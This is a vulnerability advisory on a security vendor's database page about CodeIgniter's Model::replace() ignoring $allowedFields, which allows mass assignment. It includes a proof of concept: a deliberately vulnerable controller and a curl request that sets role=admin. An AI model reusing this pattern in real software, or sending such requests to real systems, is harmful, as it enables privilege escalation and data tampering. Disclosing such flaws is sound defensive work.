
Cloud Vulnerability DB
A community-led vulnerabilities database
Model::replace() did not apply the model's field protection ($allowedFields). insert() and update() remove fields that are not listed in $allowedFields, but replace() passes every supplied field to the Query Builder. An application that passes user-controlled input to replace() lets an attacker write columns the model is meant to protect, such as role, is_admin, status or balance.
BaseModel::replace() validated the data and added timestamps, but never called the field-protection logic that insert() and update() use:
$row = (array) $row;
$row = $this->setCreatedField($row, $this->setDate());
$row = $this->setUpdatedField($row, $this->setDate());
return $this->doReplace($row, $returnSQL);Model::doReplace() then passed the unfiltered row straight to BaseBuilder::replace(). Because of this, $allowedFields and $protectFields did not affect replace().
The fix adds a doProtectFieldsForReplace() step, so replace() now does the following:
$allowedFields.REPLACE needs it to identify the record.DataException::forEmptyDataset('replace') when filtering empties a non-empty input or leaves only the primary key.
This check runs before timestamps are generated, so it never writes a timestamps-only row.Table (MySQL):
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(100) NOT NULL,
email VARCHAR(100) NOT NULL,
role VARCHAR(20) NOT NULL DEFAULT 'user'
);
INSERT INTO users (id, name, email, role) VALUES (1, 'Alice', 'alice@example.com', 'user');Model:
namespace App\Models;
use CodeIgniter\Model;
class UserModel extends Model
{
protected $table = 'users';
protected $allowedFields = ['name', 'email']; // "role" is intentionally not allowed
}Controller:
namespace App\Controllers;
use App\Models\UserModel;
class Profile extends BaseController
{
public function save()
{
$model = model(UserModel::class);
// Untrusted request data passed directly to replace(),
// relying on $allowedFields for protection.
$model->replace($this->request->getPost());
return $this->response->setJSON(
$model->find($this->request->getPost('id')),
);
}
}Routes:
// app/Config/Routes.php
$routes->post('profile/save', 'Profile::save');Request:
curl -X POST http://localhost:8080/profile/save \
-d 'id=1' \
-d 'name=Alice' \
-d 'email=alice@example.com' \
-d 'role=admin'Result on affected versions: the generated query includes the role column, and the row is stored with role = 'admin', even though role is not in $allowedFields. The same request sent through insert() or update() drops the role.
This is a mass assignment vulnerability (CWE-915). It affects applications that pass untrusted input, such as request data, to Model::replace() while relying on $allowedFields to restrict which columns can be written. An attacker can set any column in the table. Depending on the schema, that can mean privilege escalation (role, is_admin), tampering with business data (status, balance), or overwriting audit fields (created_at).
Applications that never call replace() with untrusted input, or that turn protection off on purpose with protect(false), are not affected.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."